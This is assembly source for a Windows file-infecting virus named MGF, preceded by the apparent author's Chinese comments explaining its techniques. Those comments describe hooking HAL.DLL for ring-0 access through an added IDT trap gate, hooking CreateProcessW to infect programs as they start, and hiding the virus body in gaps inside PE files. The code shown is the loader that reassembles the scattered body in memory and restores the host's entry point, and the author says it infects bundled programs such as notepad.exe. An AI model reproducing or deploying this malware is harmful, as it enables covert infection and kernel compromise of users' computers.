;大家好!我是MGF。2年前因为我的MGF给很多人带来了麻烦,所以我“闭门思过”埋头工作,消身匿迹近2年。现在看到“风声过去了”,
;才敢浮头露露面。现在我最新的改进过的MGF又出来了(没有散布),还是我的一贯作风,没有破坏,只讲技术,希望看过以下代码的朋
;友能够学到一些技术,有所启发。
;相关技术:
;1,HOOK HAL.DLL的ExAcquireFastMutex()。在函数执行前先执行我的代码,往IDT里添加INT FE陷阱门。重新启动后就可以通过它进入RING0;
;(这下微软又犯错了,没有保护HAL.DLL,而且ExAcquireFastMutex()是第一个被导出的函数(很方便HOOK),又是一个执行得很频繁的函数。
;该方法比修改NTLDR更难于利用,是我发现的能够进入RING0的2个漏洞之一(第一个NTLDR漏洞大家都知道了)。我已经发邮件把代码给微软,
;但没有结果,看来还要继续骂MS!)
;2,用新方法HOOK CreateProcessW()来感染文件。CreateProcessW()只是调用了一个CreateProcessInternalW()来完成自身的功能,它的具体
;代码是:
;Exported fn(): CreateProcessW - Ord:0060h
;:77E41B8A 55 push ebp
;:77E41B8B 8BEC mov ebp, esp
;:77E41B8D 6A00 push 00000000
;:77E41B8F FF752C push [ebp+2C] //CreateProcessW()的第10个参数
;:77E41B92 FF7528 push [ebp+28] //CreateProcessW()的第9个参数
;:77E41B95 FF7524 push [ebp+24] //CreateProcessW()的第8个参数
;:77E41B98 FF7520 push [ebp+20] //CreateProcessW()的第7个参数
;:77E41B9B FF751C push [ebp+1C] //CreateProcessW()的第6个参数
;:77E41B9E FF7518 push [ebp+18] //CreateProcessW()的第5个参数
;:77E41BA1 FF7514 push [ebp+14] //CreateProcessW()的第4个参数
;:77E41BA4 FF7510 push [ebp+10] //CreateProcessW()的第3个参数
;:77E41BA7 FF750C push [ebp+0C] //CreateProcessW()的第2个参数
;:77E41BAA FF7508 push [ebp+08] //CreateProcessW()的第1个参数
;:77E41BAD 6A00 push 00000000
;* Reference T KERNEL32.CreateProcessInternalW
; |
;:77E41BAF E83EBE0100 call 77E5D9F2 //注意这条CALL指令,只要把它的机器码E8后面的相对地址指向自己的代码就可以HOOK了
;:77E41BB4 5D pop ebp
;:77E41BB5 C22800 ret 0028
;如何找到这条CALL 指令呢?只要在CreateProcessW()开始处搜索086A00E8这个特征就可以了,08是push [ebp+08]的机器码FF7508的一部分,
;它和后面的push 00000000的机器码6A00连在一起,而6A00又和call 77E5D9F2的机器码E8连在一起,所以只要找到086A00E8这个特征,就可
;以找到call 77E5D9F2 || call KERNEL32.CreateProcessInternalW这条指令。
;3,采用把自身分成几段后插入PE文件的空隙来感染文件,不增加文件长度。用自身的函数搜索被感染PE文件里连续几十个为0的空间,把找到
;的空间收集起来,如果这些空间能够装得下病毒,就感染,否则不感染。这样,病毒有一个要求:必须有一个引导代码,把分散在宿主进程里
;的代码收集合并到分配的内存里,这个0x1d0大小的引导代码是不能被分割的,被感染PE文件里必须有一个连续空间可以容得下该0x1d0大小的
;引导代码,否则即使文件的总空隙比病毒大,可以装得下病毒,但也不感染。
;本病毒可以用MASM编译成功后直接运行,在内存感染文件的功能已经被我用JMP指令跳过,编译后的大小0xb23(2951)字节,可以感染WINDOWS自
;带的calc.exe,charmap.exe,sol.exe,notepad.exe,osk.exe等,但感染安装文件时可能会破坏安装文件,因为安装文件要进行自解压,CRC验校
;等(已经测试过)。
.586p
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include advapi32.inc
include mpr.inc
includelib kernel32.lib
includelib user32.lib
includelib advapi32.lib
includelib mpr.lib
VirusSize = offset VirusEnd-offset VirusStart
.code
VirusStart:
;int 3
nop
pushad
db 0e8h,3,0,0,0,''mgf''
pop edx
sub edx,$-4
mov ebx,edx ;计算重定位值,做了一些变形
.if ebx
mov edx,[esp+24h]
.else
mov edx,[esp+20h]
.endif
call _GetModuleAddress
mov ebp,eax ;EBP=hKernel32
bt eax,31
jc _ErrorExit ;如果是WINDOWS 9X,返回原来程序入口
push 0A5171D00h ;VirtualAlloc()的自定义编码
push ebp ;hKernel32
call _GetProcAddress ;先获取VirtualAlloc()的地址
or eax,eax
jz _ErrorExit
push 40h
push 1000h
push 1000h
push 0
call eax ;调用VirtualAlloc()分配4K内存
or eax,eax
jz _ErrorExit
mov edi,eax
lea edx,_SectionAddress[ebx]
.while dword ptr [edx]
mov esi,[edx]
mov ecx,[edx+4]
rep movsb ;把分散在宿主进程的病毒体收集合并到申请的内存里
add edx,8
.endw
lea ecx,[eax+(offset _NewStart-offset VirusStart)]
jmp ecx ;跳到新地址继续执行
_ErrorExit:
popad
ret
;根据函数自定义编码来获取函数地址的子程序,比如VirtualAlloc()的自定义编码是0A5171D00h
_GetProcAddress proc _hModule,_ProcName
pushad
mov edx,_hModule
add edx,[edx+3ch]
mov edx,[edx+78h]
add edx,_hModule
mov ecx,[edx+18h]
mov esi,[edx+20h]
add esi,_hModule
@@:
push ecx
lodsd
add eax,_hModule
xor edi,edi
.repeat
mov ecx,[eax]
inc eax
adc edi,ecx
rol ecx,8
.until cl==0
cmp edi,_ProcName
pop ecx
loopnz @b
.if ZERO?
sub esi,4
sub esi,_hModule
sub esi,[edx+20h]
shr esi,1
add esi,[edx+24h]
add esi,_hModule
lodsd
movzx eax,ax
shl eax,2
add eax,[edx+1ch]
add eax,_hModule
mov edx,[eax]
add edx,_hModule
mov [esp+1ch],edx
.else
mov dword ptr [esp+1ch],0
.endif
popad
ret
_GetProcAddress endp
;获取hKernel32地址的子程序
;in=edx, out=eax
_GetModuleAddress:
@@:
and dx,0f000h
sub edx,1000h
cmp word ptr [edx],''ZM''
jnz @b
mov eax,edx
add edx,[edx+3ch]
cmp dword ptr [edx],''EP''
jnz @b
ret
dwOldEntryCom db 0,0,0,0,0 ;保存被感染PE文件原程序入口前5个字节的变量
;段链表,它记录了病毒分散在PE文件各处的病毒体的地址和大小
_SectionAddress:
dd offset VirusStart
dd VirusSize
dd 18h*2 dup(0)
;新执行点,在引导代码把病毒体收集合并到申请的内存后,就跳到这里执行。从这里往前到VirusStart之间的代码是引导代码,不能分割
_NewStart:
db 0e8h,3,0,0,0,''mgf''
pop edx
sub edx,$-4
xchg ebx,edx ;重定位
.if edx ;如果在宿主进程运行,恢复进程原来的入口代码
sub dword ptr [esp+20h],5
mov edx,[esp+20h]
mov al,dwOldEntryCom[ebx]
mov [edx],al
mov eax,dword ptr dwOldEntryCom[ebx+1]
mov [edx+1],eax
.endif